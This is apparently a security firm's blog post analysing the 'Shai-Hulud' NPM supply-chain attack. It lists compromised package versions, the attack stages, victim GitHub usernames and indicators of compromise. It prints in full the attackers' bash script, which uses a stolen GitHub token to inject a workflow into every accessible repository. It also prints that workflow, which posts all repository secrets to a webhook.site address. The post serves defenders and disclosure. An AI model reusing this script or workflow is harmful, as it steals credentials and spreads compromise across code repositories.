"Shai-Hulud" NPM attack runs malicious GitHub Action

Paul McCarty
10 mins
September 16, 2025

The Safety research team has identified an attack on the NPM ecosystem that is using stolen GitHub access to deploy a malicious GitHub Action file to further compromise accounts.

This attack has everything that you want in a NPM supply chain attack: It steals GitHub and NPM tokens, it pivots into AWS and Google cloud environments, it exposes compromised GitHub repos, and it deploys a malicious GitHub Action that further escalates the hack. Let's dig in, shall we?

BTW, shout out to Daniel Pereira for noticing and posting about the attack.

UPDATE 7.15pm Tuesday September 16 AEST

9 more packages belonging to Crowdstrike were compromised at 2025-09-16 T01:14:29.006Z UTC. We've added the packages to the list below with affected versions.

The background

A popular NPM maintainer, "scttcper", was compromised today which led to 38 NPM packages having malicious packages published to the NPM registry.

We don't know how the maintainer, Scott Cooper, was hacked, but Scott verified that he had been compromised and was working with NPM to fix it.

I asked if he had been phished as this had been the way the other NPM account takeover attacks happened recently. Unfortunately, he doesn't know how he was compromised:

Some of the affected packages were available for 6 or 7 hours in total, however cached pacakges, and the persistent GitHub Actions continue to cause harm. I can confirm that 17 hours after the packages went live, people are still being compromised. You can search GitHub for "Shai-Hulud Migration" you'll see that there are hundreds of repositories affected.

Regardless of how the maintainer was compromised, the attackers have published 41 malicious versions across 38 packages.

The affected packages and versions are:

angulartics2 - 14.1.2
@ctrl/deluge - 7.2.2
@ctrl/golang-template - 1.4.3
@ctrl/magnet-link - 4.0.4
@ctrl/ngx-codemirror - 7.0.2
@ctrl/ngx-csv - 6.0.2
@ctrl/ngx-emoji-mart - 9.2.2
@ctrl/ngx-rightclick - 4.0.2
@ctrl/qbittorrent - 9.7.2
@ctrl/react-adsense - 2.0.2
@ctrl/shared-torrent - 6.3.2
@ctrl/tinycolor - 4.1.1, 4.1.2
@ctrl/torrent-file - 4.1.2
@ctrl/transmission - 7.3.1
@ctrl/ts-base32 - 4.0.2
encounter-playground - 0.0.5
json-rules-engine-simplified - 0.2.4, 0.2.1
koa2-swagger-ui - 5.11.2, 5.11.1
@nativescript-community/gesturehandler - 2.0.35
@nativescript-community/sentry - 4.6.43
@nativescript-community/text -1.6.13
@nativescript-community/ui-collectionview - 6.0.6
@nativescript-community/ui-drawer - 0.1.30
@nativescript-community/ui-image - 4.5.6
@nativescript-community/ui-material-bottomsheet - 7.2.72
@nativescript-community/ui-material-core - 7.2.76
@nativescript-community/ui-material-core-tabs - 7.2.76
ngx-color - 10.0.2
ngx-toastr - 19.0.2
ngx-trend - 8.0.1
react-complaint-image - 0.0.35
react-jsonschema-form-conditionals - 0.3.21
react-jsonschema-form-extras - 1.0.4
rxnt-authentication - 0.0.6
rxnt-healthchecks-nestjs - 1.0.5
rxnt-kue - 1.0.7
swc-plugin-component-annotate - 1.9.2
ts-gaussian - 3.0.6

UPDATED PACKAGES:

@crowdstrike/commitlint - 8.1.2
@crowdstrike/falcon-shoelace - 0.4.1
@crowdstrike/foundry-js - 0.19.1.
@crowdstrike/glide-core - 0.34.3
@crowdstrike/logscale-dashboard - 1.205.2
@crowdstrike/logscale-file-editor - 1.205.2
@crowdstrike/logscale-parser-edit - 1.205.2
@crowdstrike/logscale-search - 1.205.2,
@crowdstrike/tailwind-toucan-base - 5.0.2

The Safety research team was able to analyze versions 4.1.1 and 4.1.2 of the @ctrl/tinycolor package.

Two malicious versions of the package were published:  4.1.1 at UTC 2025-09-15 T19:52:46.624Z and 4.1.2 at UTC 2025-09-15 T20:13:43.540Z.

Both versions of the payload and entry point were exactly the same so I'm not sure why the threat actors decided to publish two malicious versions of the same package.

What does this malware do?

This is an interesting attack chain, and pretty sophisticated in its own right.

This package disguises itself as a legitimate color manipulation library. Our analysis of the packages show that they are designed as a supply chain attack targeting GitHub repositories. The main goal is to collect as many access credentials as possible from NPM, GitHub, AWS, GCP and other sources. The payload is in the bundle.js file which is obfuscated. Deobfuscation of the file makes understanding what the payload does relatively easy.

The malware has several stages which I'll walk through here.

Stage 1:  the JavaScript payload

When one of the malicious NPM packages is installed it runs a post-install script:

The JavaScript payload in bundle.js is obfuscated, and the file is HUGE, but once you prettify it you can see what its doing.

One of the things the JavaScript does is download the Trufflehog tool so it can use it to find viable credentials. Trufflehog is a great tool and I've been using it for years. Recently the Trufflehog team added a feature that will validate whether a token it finds is active and viable. Once the Truffle Security team added that functionality, I started seeing it used in malicious packages.

At the same time the malware tries to identify if the compromised hosts is in the Amazon AWS cloud. It tests for the presence of the IMDS service on Ec2:

It does the same probing for the ECS or EKS version of the service:

Similarly, it checks to see if its on a Google GCP VM:

If the malware identifies that its on an AWS or Google service, it loads specific SDK libraries for the cloud provider so it can steal credenitals and data from the cloud control-plane:

This is a common technique that mature threat actors use when they land on a cloud server. They take the time to identify where there are, and then use things like the IMDS service to pivot deeper into the cloud environment.  

So far, this threat is looking very sophisticated and polished.

Stage 2: Embedded bash script

The JavaScript payload file bundle.js has a bash script embedded in it.

Let's take a look at the bash script:

#!/bin/bash

# Check if PAT is provided
if [ $# -eq 0 ]; then
    echo "Error: GitHub Personal Access Token required as first argument"
    echo "Usage: $0 <GITHUB_PAT>"
    exit 1
fi

GITHUB_TOKEN="$1"
API_BASE="https://api.github.com"
BRANCH_NAME="shai-hulud"
FILE_NAME=".github/workflows/shai-hulud-workflow.yml"

FILE_CONTENT=$(cat <<\'EOF\'
on:
  push:
jobs:
  process:
    runs-on: ubuntu-latest
    steps:
    - name: Data Processing
      run: curl -d "$CONTENTS" https://webhook[.]site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7; echo "$CONTENTS" | base64 -w 0 | base64 -w 0
      env:
        CONTENTS: ${{ toJSON(secrets) }}
EOF
)

# Colors for output
RED=\'\\033[0;31m\'
GREEN=\'\\033[0;32m\'
YELLOW=\'\\033[1;33m\'
NC=\'\\033[0m\' # No Color

# Function to make GitHub API calls
github_api() {
    local method="$1"
    local endpoint="$2"
    local data="$3"

    if [ -z "$data" ]; then
        curl -s -X "$method" \\
            -H "Accept: application/vnd.github.v3+json" \\
            -H "Authorization: token $GITHUB_TOKEN" \\
            "$API_BASE$endpoint"
    else
        curl -s -X "$method" \\
            -H "Accept: application/vnd.github.v3+json" \\
            -H "Authorization: token $GITHUB_TOKEN" \\
            -H "Content-Type: application/json" \\
            -d "$data" \\
            "$API_BASE$endpoint"
    fi
}

echo "🔍 Checking authenticated user and token scopes..."

# Get authenticated user and check scopes
AUTH_RESPONSE=$(curl -s -I -H "Authorization: token $GITHUB_TOKEN" "$API_BASE/user")
SCOPES=$(echo "$AUTH_RESPONSE" | grep -i "x-oauth-scopes:" | cut -d\' \' -f2- | tr -d \'\\r\')
USER_RESPONSE=$(github_api GET "/user")
USERNAME=$(echo "$USER_RESPONSE" | jq -r \'.login // empty\')

if [ -z "$USERNAME" ]; then
    echo -e "${RED}❌ Authentication failed. Please check your token.${NC}"
    exit 1
fi

echo -e "${GREEN}✓ Authenticated as: $USERNAME${NC}"
echo "Token scopes: $SCOPES"

# Check for required scopes
if [[ ! "$SCOPES" =~ "repo" ]]; then
    echo -e "${RED}❌ Error: Token missing \'repo\' scope${NC}"
    exit 1
fi

if [[ ! "$SCOPES" =~ "workflow" ]]; then
    echo -e "${RED}❌ Error: Token missing \'workflow\' scope${NC}"
    exit 1
fi

echo -e "${GREEN}✓ Required scopes (repo, workflow) verified${NC}"
echo ""

# List repositories with filters
echo "📋 Fetching repositories (updated since 2025)..."
REPOS_RESPONSE=$(github_api GET "/user/repos?affiliation=owner,collaborator,organization_member&since=2025-01-01T00:00:00Z&per_page=100")

# Parse repository information
REPO_COUNT=$(echo "$REPOS_RESPONSE" | jq \'. | length\')

if [ "$REPO_COUNT" -eq 0 ]; then
    echo -e "${YELLOW}No repositories found matching the criteria${NC}"
    exit 0
fi

echo -e "${GREEN}Found $REPO_COUNT repositories${NC}"
echo ""

# Process each repository
echo "$REPOS_RESPONSE" | jq -c \'.[]\' | while IFS= read -r repo; do
    REPO_NAME=$(echo "$repo" | jq -r \'.name\')
    REPO_OWNER=$(echo "$repo" | jq -r \'.owner.login\')
    REPO_FULL_NAME=$(echo "$repo" | jq -r \'.full_name\')
    DEFAULT_BRANCH=$(echo "$repo" | jq -r \'.default_branch // ""\')

    echo "📦 Processing repository: $REPO_FULL_NAME"

    # Get the latest commit SHA from the default branch
    echo "  → Getting default branch SHA..."
    REF_RESPONSE=$(github_api GET "/repos/$REPO_FULL_NAME/git/ref/heads/$DEFAULT_BRANCH")
    BASE_SHA=$(echo "$REF_RESPONSE" | jq -r \'.object.sha // empty\')

    if [ -z "$BASE_SHA" ]; then
        echo -e "  ${RED}❌ Could not get default branch SHA. Skipping...${NC}"
        continue
    fi

    # Create new branch
    echo "  → Creating branch: $BRANCH_NAME"
    BRANCH_DATA=$(jq -n \\
        --arg ref "refs/heads/$BRANCH_NAME" \\
        --arg sha "$BASE_SHA" \\
        \'{ref: $ref, sha: $sha}\')

    BRANCH_RESPONSE=$(github_api POST "/repos/$REPO_FULL_NAME/git/refs" "$BRANCH_DATA")
    BRANCH_ERROR=$(echo "$BRANCH_RESPONSE" | jq -r \'.message // empty\')

    if [ -n "$BRANCH_ERROR" ] && [[ "$BRANCH_ERROR" != "null" ]]; then
        if [[ "$BRANCH_ERROR" == *"Reference already exists"* ]]; then
            echo -e "  ${YELLOW}⚠ Branch already exists. Continuing with file upload...${NC}"
        else
            echo -e "  ${RED}❌ Failed to create branch: $BRANCH_ERROR${NC}"
            continue
        fi
    else
        echo -e "  ${GREEN}✓ Branch created successfully${NC}"
    fi

    # Create file content with timestamp substitution (base64 encoded)
    FILE_CONTENT_BASE64=$(echo -n "$FILE_CONTENT" | base64 | tr -d \'\
\')

    # Upload file to the new branch
    echo "  → Uploading $FILE_NAME to branch..."
    FILE_DATA=$(jq -n \\
        --arg message "Add $FILE_NAME placeholder file" \\
        --arg content "$FILE_CONTENT_BASE64" \\
        --arg branch "$BRANCH_NAME" \\
        \'{message: $message, content: $content, branch: $branch}\')

    FILE_RESPONSE=$(github_api PUT "/repos/$REPO_FULL_NAME/contents/$FILE_NAME" "$FILE_DATA")
    FILE_ERROR=$(echo "$FILE_RESPONSE" | jq -r \'.message // empty\')

    if [ -n "$FILE_ERROR" ] && [[ "$FILE_ERROR" != "null" ]]; then
        if [[ "$FILE_ERROR" == *"already exists"* ]]; then
            echo -e "  ${YELLOW}⚠ File already exists on branch${NC}"
        else
            echo -e "  ${RED}❌ Failed to upload file: $FILE_ERROR${NC}"
        fi
    else
        echo -e "  ${GREEN}✓ File uploaded successfully${NC}"
    fi

    echo ""
done

echo -e "${GREEN}🎉 Script execution completed!${NC}"

Stage 3: Malicious GitHub Action

The bash script above identifies what repositories the GitHub PAT has access to and uses the GitHub API to create a malicious branch named "shai-hulud" in those repos. It then injects a GitHub Actions workflow file in .github/workflows/shai-hulud-workflow.yml.

That workflow exfils any secrets available to a webhook.site endpoint:

on: push
jobs:
  process:
    runs-on: ubuntu-latest
    steps:
    - name: Data Processing
      run: curl -d "$CONTENTS" https://webhook[.]site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7; echo "$CONTENTS" | base64 -w 0 | base64 -w 0
      env:
        CONTENTS: ${{ toJSON(secrets) }}

I found several examples of this GitHub Action workflow running in compromised users accounts:

Unfortunately, this attack chain has been fairly successful.  What makes that success even worse is that when a GitHub PAT is compromised in this attack, many of the victim's private GitHub repositories are made public. So, this feels very similar. tothe s1ngularity attack from two weeks ago. And to be clear, its not just personal repositories that are being made public, its any repos that the user has access to.

As an example of this, one compromised user had access to 528 private company repositories. Most of those repos have now been made public and any sensitive data or credentials in those repos is now public.

Stage 4: Exfiltration of the loot

Seems like a pretty good kill chain right?  I mean, I'm impressed.

Well, that is until I saw this:

What?  You didn't sign up for your website.hook account?  Let's try hitting the website directly:

Sure enough, the threat actor appears to have locked their exfil channel (webhook.site) because they hit their quote on the free account.

Lesson to the bad guys:  Remember to pay for your exfil destination, otherwise you might loose all your loot.

Attack Impact:

Luckily, while this attack is sophisticated in some aspects, we are lucky that the way that the initial compromise kicks off requires the victim to voluntarily provide a GitHub token to the package. While the rest of the attack chain is automated and has worm-like aspects to it, the initial compromise requires social engineering the victim. Because of this, there was a relatively low rate of first order infection.

Our research shows that 35 GitHub users were affected. You can see a list below of their usernames and the number of repositories exposed in the attack:

amadan21:             445
alicia-suttie:        44
kirajohal:            34
irzhywau:             32
bvisch:               13
1stnguyendung:        1
aadilkhandev:         1
aminkhoshzahmat:      1
avilum:               1
az1z1ally:            1
B611:                 1
Bielousov:            1
brightback-svc-user:  1
ccasado16:            1
dz-rep:               1
eslfinder:            1
finpair-robot:        1
jyothisusmitha29:     1
LAIJiangFeng:         1
matixinha:            1
mohitmobioffice:      1
muneebdqurtuba:       1
nagliwiz:             1
nbintertech:          1
nlabadie-crwd:        1
pcole-clgx:           1
Pradeepm98:           1
RenierC:              1
rikycg:               1
serranitoFlock:       1
SingleMalted:         1
skvsree:              1
soap-phia:            1
Syltefjord:           1
zubair-rain:          1

While this low number of initial victims is low we shouldn't disregard this attack. Almost two hundred packages have now been connected to this specific attack, and we continue to see new compromise activity happening.

The second order effects of this attack are significant because this attack can compromise:

  • API keys and tokens stored in GitHub secrets
  • Cloud service credentials (AWS, GCP, Azure)
  • Database passwords
  • Deployment keys and third-party service tokens

The attack is particularly dangerous as it uses legitimate GitHub Actions infrastructure, making detection difficult while providing persistent access through injected workflow files.

I've talked to several people affected by the attack and you can fiind users on a Hackernews post said they were affected:

Indicators of Compromise (IOCs)

Based on my research this threat campaign has several IOCs you can look for:

NPM Packages and Versions:

angulartics2 - 14.1.2
@ctrl/deluge - 7.2.2
@ctrl/golang-template - 1.4.3
@ctrl/magnet-link - 4.0.4
@ctrl/ngx-codemirror - 7.0.2
@ctrl/ngx-csv - 6.0.2
@ctrl/ngx-emoji-mart - 9.2.2
@ctrl/ngx-rightclick - 4.0.2
@ctrl/qbittorrent - 9.7.2
@ctrl/react-adsense - 2.0.2
@ctrl/shared-torrent - 6.3.2
@ctrl/tinycolor - 4.1.1, 4.1.2
@ctrl/torrent-file - 4.1.2
@ctrl/transmission - 7.3.1
@ctrl/ts-base32 - 4.0.2
encounter-playground - 0.0.5
json-rules-engine-simplified - 0.2.4, 0.2.1
koa2-swagger-ui - 5.11.2, 5.11.1
@nativescript-community/gesturehandler - 2.0.35
@nativescript-community/sentry - 4.6.43
@nativescript-community/text -1.6.13
@nativescript-community/ui-collectionview - 6.0.6
@nativescript-community/ui-drawer - 0.1.30
@nativescript-community/ui-image - 4.5.6
@nativescript-community/ui-material-bottomsheet - 7.2.72
@nativescript-community/ui-material-core - 7.2.76
@nativescript-community/ui-material-core-tabs - 7.2.76
ngx-color - 10.0.2
ngx-toastr - 19.0.2
ngx-trend - 8.0.1
react-complaint-image - 0.0.35
react-jsonschema-form-conditionals - 0.3.21
react-jsonschema-form-extras - 1.0.4
rxnt-authentication - 0.0.6
rxnt-healthchecks-nestjs - 1.0.5
rxnt-kue - 1.0.7
swc-plugin-component-annotate - 1.9.2
ts-gaussian - 3.0.6

@crowdstrike/commitlint - 8.1.2
@crowdstrike/falcon-shoelace - 0.4.1
@crowdstrike/foundry-js - 0.19.1.
@crowdstrike/glide-core - 0.34.3
@crowdstrike/logscale-dashboard - 1.205.2
@crowdstrike/logscale-file-editor - 1.205.2
@crowdstrike/logscale-parser-edit - 1.205.2
@crowdstrike/logscale-search - 1.205.2,
@crowdstrike/tailwind-toucan-base - 5.0.2

Look for evidence of compromise in your GitHub account:

Look for any repositories with the branch names "shai-hulud" or with a GitHub Action workflow file named shai-hulud-workflow.yml in the .github/workflows/ folder.

Let us know if this blog post helped you

Hit me up directly if you have any questions about this campaign.

Paul McCarty - Head of Research, Safety

You can find me on LinkedIn and BlueSky.

Related

Similar Posts

Secure your supply chain in 60 seconds.
No sales calls, no complex setup.
Just instant protection.

Get Started for Free
View Documentation
Arrow
CTA Graph